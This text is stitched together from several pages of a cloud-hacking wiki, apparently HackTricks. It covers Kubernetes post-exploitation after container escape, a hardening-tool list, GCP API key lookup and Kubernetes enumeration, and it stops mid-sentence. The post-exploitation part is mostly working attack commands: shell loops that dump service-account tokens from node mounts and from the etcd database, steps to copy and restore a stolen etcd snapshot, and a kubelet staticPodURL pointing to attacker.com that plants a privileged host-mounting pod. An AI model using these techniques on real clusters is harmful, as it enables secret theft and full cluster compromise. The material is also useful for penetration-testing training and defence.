[**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) : stress-ng --vm 2 --vm-bytes 2G --timeout 30s You can see the difference between while running `stress-ng` and after bash kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx If you managed to **escape from the container** there are some interesting things you will find in the node: * The **Container Runtime** process (Docker) * More **pods/containers** running in the node you can abuse like this one (more tokens) * The whole **filesystem** and **OS** in general * The **Kube-Proxy** service listening * The **Kubelet** service listening. Check config files: * Directory: `/var/lib/kubelet/` * `/var/lib/kubelet/kubeconfig` * `/var/lib/kubelet/kubelet.conf` * `/var/lib/kubelet/config.yaml` * `/var/lib/kubelet/kubeadm-flags.env` * `/etc/kubernetes/kubelet-kubeconfig` * Other **kubernetes common files**: * `$HOME/.kube/config` - **User Config** * `/etc/kubernetes/kubelet.conf`\- **Regular Config** * `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config** * `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration** * `/etc/kubernetes/pki` - **Kubernetes Key** If you cannot find the kubeconfig file in one of the previously commented paths, **check the argument `--kubeconfig` of the kubelet process**: ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal bash # Check Kubelet privileges kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system # Steal the tokens from the pods running in the node # The most interesting one is probably the one of kube-system ALREADY="IinItialVaaluE" for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/')) if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then ALREADY="$ALREADY|$TOKEN" echo "Directory: $i" echo "Namespace: $(cat $i)" echo "" echo $TOKEN echo "================================================================================" echo "" fi done The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **get the tokens of other pods and check if they have the permission** you are looking for (instead of you looking 1 by 1): bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code A DaemonSet is a **pod** that will be **run** in **all the nodes of the cluster**. Therefore, if a DaemonSet is configured with a **privileged service account,** in **ALL the nodes** you are going to be able to find the **token** of that **privileged service account** that you could abuse. The exploit is the same one as in the previous section, but you now don't depend on luck. If the cluster is managed by a cloud service, usually the **Node will have a different access to the metadata** endpoint than the Pod. Therefore, try to **access the metadata endpoint from the node** (or from a pod with hostNetwork to True): [Kubernetes Pivoting to Clouds](kubernetes-pivoting-to-clouds.html) If you can specify the [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) of the Node that will run the container, get a shell inside a control-plane node and get the **etcd database**: kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**. If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets. Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion. **Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)** root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir Output: bash data-dir=/var/lib/etcd **View the data in etcd database:** bash strings /var/lib/etcd/member/snap/db | less **Extract the tokens from the database and show the service account name** bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done **Same command, but some greps to only return the default token in the kube-system namespace** bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default Output: 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] #### [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) 1. Create a snapshot of the **`etcd`** database. Check [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) for further info. 2. Transfer the **`etcd`** snapshot out of the node in your favourite way. 3. Unpack the database: bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore 4. Start **`etcd`** on your local machine and make it use the stolen snapshot: bash etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db' 5. List all the secrets: bash etcdctl get "" --prefix --keys-only | grep secret 6. Get the secfrets: bash etcdctl get /registry/secrets/default/my-secret _Static Pods_ are managed directly by the kubelet daemon on a specific node, without the API server observing them. Unlike Pods that are managed by the control plane (for example, a Deployment); instead, the **kubelet watches each static Pod** (and restarts it if it fails). Therefore, static Pods are always **bound to one Kubelet** on a specific node. The **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** for each static Pod. This means that the Pods running on a node are visible on the API server, but cannot be controlled from there. The Pod names will be suffixed with the node hostname with a leading hyphen. caution The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason). If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**. In order to create a static pod, the [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/) . You basically need 2 things: * Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** in the **kubelet service**, or in the **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration) ) and restart the service * Create the definition on the **pod definition** in **`/etc/kubernetes/manifests`** **Another more stealth way would be to:** * Modify the param **`staticPodURL`** from **kubelet** config file and set something like `staticPodURL: http://attacker.com:8765/pod.yaml`. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**. **Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/) : yaml apiVersion: v1 kind: Pod metadata: name: bad-priv2 namespace: kube-system spec: containers: - name: bad hostPID: true image: gcr.io/shmoocon-talk-hacking/brick stdin: true tty: true imagePullPolicy: IfNotPresent volumeMounts: - mountPath: /chroot name: host securityContext: privileged: true volumes: - name: host hostPath: path: / type: Directory If an attacker has **compromised a node** and he can **delete pods** from other nodes and **make other nodes not able to execute pods**, the pods will be rerun in the compromised node and he will be able to **steal the tokens** run in them. For [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes) . * [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates) Peirates v1.1.8-beta by InGuardians https://www.inguardians.com/peirates ---------------------------------------------------------------- [+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9 [+] Certificate Authority Certificate: true [+] Kubernetes API Server: https://10.116.0.1:443 [+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9 [+] Current namespace: prd ---------------------------------------------------------------- Namespaces, Service Accounts and Roles | ---------------------------------------+ [1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa) [2] List and/or change namespaces [ns-menu] (try: listns, switchns) [3] Get list of pods in current namespace [list-pods] [4] Get complete info on all pods (json) [dump-pod-info] [5] Check all pods for volume mounts [find-volume-mounts] [6] Enter AWS IAM credentials manually [enter-aws-credentials] [7] Attempt to Assume a Different AWS Role [aws-assume-role] [8] Deactivate assumed AWS role [aws-empty-assumed-role] [9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu] -------------------------+ Steal Service Accounts | -------------------------+ [10] List secrets in this namespace from API server [list-secrets] [11] Get a service account token from a secret [secret-to-sa] [12] Request IAM credentials from AWS Metadata API [get-aws-token] * [13] Request IAM credentials from GCP Metadata API [get-gcp-token] * [14] Request kube-env from GCP Metadata API [attack-kube-env-gcp] [15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] * [16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1] --------------------------------+ Interrogate/Abuse Cloud API's | --------------------------------+ [17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls] [18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects] -----------+ Compromise | -----------+ [20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount] [21] Run command in one or all pods in this namespace via the API Server [exec-via-api] [22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet] -------------+ Node Attacks | -------------+ [30] Steal secrets from the node filesystem [nodefs-steal-secrets] -----------------+ Off-Menu + -----------------+ [90] Run a kubectl command using the current authorization context [kubectl [arguments]] [] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]] [91] Make an HTTP request (GET or POST) to a user-specified URL [curl] [92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i] [93] Run a simple all-ports TCP port scan against an IP address [tcpscan] [94] Enumerate services via DNS [enumerate-dns] * [] Run a shell command [shell ] [exit] Exit Peirates * [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Kubernetes Hardening - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 8 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. ### [**Kubescape**](https://github.com/armosec/kubescape) [**Kubescape**](https://github.com/armosec/kubescape) is a K8s open-source tool providing a multi-cloud K8s single pane of glass, including risk analysis, security compliance, RBAC visualizer and image vulnerabilities scanning. Kubescape scans K8s clusters, YAML files, and HELM charts, detecting misconfigurations according to multiple frameworks (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/) ), software vulnerabilities, and RBAC (role-based-access-control) violations at early stages of the CI/CD pipeline, calculates risk score instantly and shows risk trends over time. bash kubescape scan --verbose ### [**Kube-bench**](https://github.com/aquasecurity/kube-bench) The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/) . You can choose to: * run kube-bench from inside a container (sharing PID namespace with the host) * run a container that installs kube-bench on the host, and then run kube-bench directly on the host * install the latest binaries from the [Releases page](https://github.com/aquasecurity/kube-bench/releases) , * compile it from source. ### [**Kubeaudit**](https://github.com/Shopify/kubeaudit) The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns. Kubeaudit can detect if it is running within a container in a cluster. If so, it will try to audit all Kubernetes resources in that cluster: kubeaudit all This tool also has the argument `autofix` to **automatically fix detected issues.** ### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter) The tool [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) hunts for security weaknesses in Kubernetes clusters. The tool was developed to increase awareness and visibility for security issues in Kubernetes environments. bash kube-hunter --remote some.node.com ### [**Kubei**](https://github.com/Erezf-p/kubei) [**Kubei**](https://github.com/Erezf-p/kubei) is a vulnerabilities scanning and CIS Docker benchmark tool that allows users to get an accurate and immediate risk assessment of their kubernetes clusters. Kubei scans all images that are being used in a Kubernetes cluster, including images of application pods and system pods. ### [**KubiScan**](https://github.com/cyberark/KubiScan) [**KubiScan**](https://github.com/cyberark/KubiScan) is a tool for scanning Kubernetes cluster for risky permissions in Kubernetes's Role-based access control (RBAC) authorization model. ### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) [**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) is a tool built to test other type of high risk checks compared with the other tools. It mainly have 3 different modes: * **`find-role-relationships`**: Which will find which AWS roles are running in which pods * **`find-secrets`**: Which tries to identify secrets in K8s resources such as Pods, ConfigMaps, and Secrets. * **`test-imds-access`**: Which will try to run pods and try to access the metadata v1 and v2. WARNING: This will run a pod in the cluster, be very careful because maybe you don't want to do this! ### [**Popeye**](https://github.com/derailed/popeye) [**Popeye**](https://github.com/derailed/popeye) is a utility that scans live Kubernetes cluster and **reports potential issues with deployed resources and configurations**. It sanitizes your cluster based on what's deployed and not what's sitting on disk. By scanning your cluster, it detects misconfigurations and helps you to ensure that best practices are in place, thus preventing future headaches. It aims at reducing the cognitive \_over\_load one faces when operating a Kubernetes cluster in the wild. Furthermore, if your cluster employs a metric-server, it reports potential resources over/under allocations and attempts to warn you should your cluster run out of capacity. ### [**KICS**](https://github.com/Checkmarx/kics) [**KICS**](https://github.com/Checkmarx/kics) finds **security vulnerabilities**, compliance issues, and infrastructure misconfigurations in the following **Infrastructure as Code solutions**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, and OpenAPI 3.0 specifications ### [**Checkov**](https://github.com/bridgecrewio/checkov) [**Checkov**](https://github.com/bridgecrewio/checkov) is a static code analysis tool for infrastructure-as-code. It scans cloud infrastructure provisioned using [Terraform](https://terraform.io) , Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/) , [AWS SAM](https://aws.amazon.com/serverless/sam/) , [Kubernetes](https://kubernetes.io) , [Dockerfile](https://www.docker.com) , [Serverless](https://www.serverless.com) or [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) and detects security and compliance misconfigurations using graph-based scanning. ### [**Kube-score**](https://github.com/zegl/kube-score) [**kube-score**](https://github.com/zegl/kube-score) is a tool that performs static code analysis of your Kubernetes object definitions. To install: | Distribution | Command / Link | | --- | --- | | Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) | | Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) | | Homebrew (macOS and Linux) | `brew install kube-score` | | [Krew](https://krew.sigs.k8s.io/)
(macOS and Linux) | `kubectl krew install score` | You can configure the **security context of the Pods** (with _PodSecurityContext_) and of the **containers** that are going to be run (with _SecurityContext_). For more information read: [Kubernetes SecurityContext(s)](kubernetes-securitycontext-s.html) It's very important to **protect the access to the Kubernetes Api Server** as a malicious actor with enough privileges could be able to abuse it and damage in a lot of way the environment. It's important to secure both the **access** (**whitelist** origins to access the API Server and deny any other connection) and the [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (following the principle of **least** **privilege**). And definitely **never** **allow** **anonymous** **requests**. **Common Request process:** User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control. **Tips**: * Close ports. * Avoid Anonymous access. * NodeRestriction; No access from specific nodes to the API. * [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) * Basically prevents kubelets from adding/removing/updating labels with a node-restriction.kubernetes.io/ prefix. This label prefix is reserved for administrators to label their Node objects for workload isolation purposes, and kubelets will not be allowed to modify labels with that prefix. * And also, allows kubelets to add/remove/update these labels and label prefixes. * Ensure with labels the secure workload isolation. * Avoid specific pods from API access. * Avoid ApiServer exposure to the internet. * Avoid unauthorized access RBAC. * ApiServer port with firewall and IP whitelisting. By default root user will be used when a Pod is started if no other user is specified. You can run your application inside a more secure context using a template similar to the following one: yaml apiVersion: v1 kind: Pod metadata: name: security-context-demo spec: securityContext: runAsUser: 1000 runAsGroup: 3000 fsGroup: 2000 volumes: - name: sec-ctx-vol emptyDir: {} containers: - name: sec-ctx-demo image: busybox command: [ "sh", "-c", "sleep 1h" ] securityContext: runAsNonRoot: true volumeMounts: - name: sec-ctx-vol mountPath: /data/demo securityContext: allowPrivilegeEscalation: true * [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) * [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) You should update your Kubernetes environment as frequently as necessary to have: * Dependencies up to date. * Bug and security patches. [**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/) : Each 3 months there is a new minor release -- 1.20.3 = 1(Major).20(Minor).3(patch) **The best way to update a Kubernetes Cluster is (from** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/) **):** * Upgrade the Master Node components following this sequence: * etcd (all instances). * kube-apiserver (all control plane hosts). * kube-controller-manager. * kube-scheduler. * cloud controller manager, if you use one. * Upgrade the Worker Node components such as kube-proxy, kubelet. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - API Keys Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 3 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information about API Keys check: [GCP - API Keys Enum](../gcp-services/gcp-api-keys-enum.html) **Google API Keys are widely used by any kind of applications** that uses from the client side. It's common to find them in for websites source code or network requests, in mobile applications or just searching for regexes in platforms like Github. The regex is: **`AIza[0-9A-Za-z_-]{35}`** Search it for example in Github following: [https://github.com/search?q=%2FAIza%5B0-9A-Za-z\_-%5D%7B35%7D%2F&type=code&ref=advsearch](https://github.com/search?q=%2FAIza%5B0-9A-Za-z_-%5D%7B35%7D%2F&type=code&ref=advsearch) This is extremely useful to check to **which GCP project an API key that you have found belongs to**: bash # If you have permissions gcloud services api-keys lookup AIzaSyD[...]uE8Y name: projects/5[...]6/locations/global/keys/28d[...]e0e parent: projects/5[...]6/locations/global # If you don't, you can still see the project ID in the error msg gcloud services api-keys lookup AIzaSy[...]Qbkd_oYE ERROR: (gcloud.services.api-keys.lookup) PERMISSION_DENIED: Permission 'apikeys.keys.lookup' denied on resource project. Help Token: ARD_zUaNgNilGTg9oYUnMhfa3foMvL7qspRpBJ-YZog8RLbTjCTBolt_WjQQ3myTaOqu4VnPc5IbA6JrQN83CkGH6nNLum6wS4j1HF_7HiCUBHVN - '@type': type.googleapis.com/google.rpc.PreconditionFailure violations: - subject: ?error_code=110002&service=cloudresourcemanager.googleapis.com&permission=serviceusage.apiKeys.getProjectForKey&resource=projects/89123452509 type: googleapis.com - '@type': type.googleapis.com/google.rpc.ErrorInfo domain: apikeys.googleapis.com metadata: permission: serviceusage.apiKeys.getProjectForKey resource: projects/89123452509 service: cloudresourcemanager.googleapis.com reason: AUTH_PERMISSION_DENIED As you might not know which APIs are enabled in the project, it would be interesting to run the tool [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.** tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Kubernetes Enumeration - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 20 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**. In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved. If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env: Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.** Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) : _“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_ **ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod. Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties. Usually **one** of the directories: * `/run/secrets/kubernetes.io/serviceaccount` * `/var/run/secrets/kubernetes.io/serviceaccount` * `/secrets/kubernetes.io/serviceaccount` contain the files: * **ca.crt**: It's the ca certificate to check kubernetes communications * **namespace**: It indicates the current namespace * **token**: It contains the **service token** of the current pod. Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`** The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**. Default location on **Kubernetes**: * /etc/kubernetes/pki Default location on **Minikube**: * /var/lib/localkube/certs _**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc. If you don't know what is **RBAC**, **read this section**. * **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/) . Write `:namespace` and select all to then search resources in all the namespaces. * **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/) In order to enumerate a K8s environment you need a couple of this: * A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token. * The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file. * **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this. With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host. However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server. With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API: GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} If you have the **`list`** permission, you are allowed to execute API requests to list a type of asset (_`get` option in `kubectl`_): bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments If you have the **`watch`** permission, you are allowed to execute API requests to monitor assets: GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created). caution The following 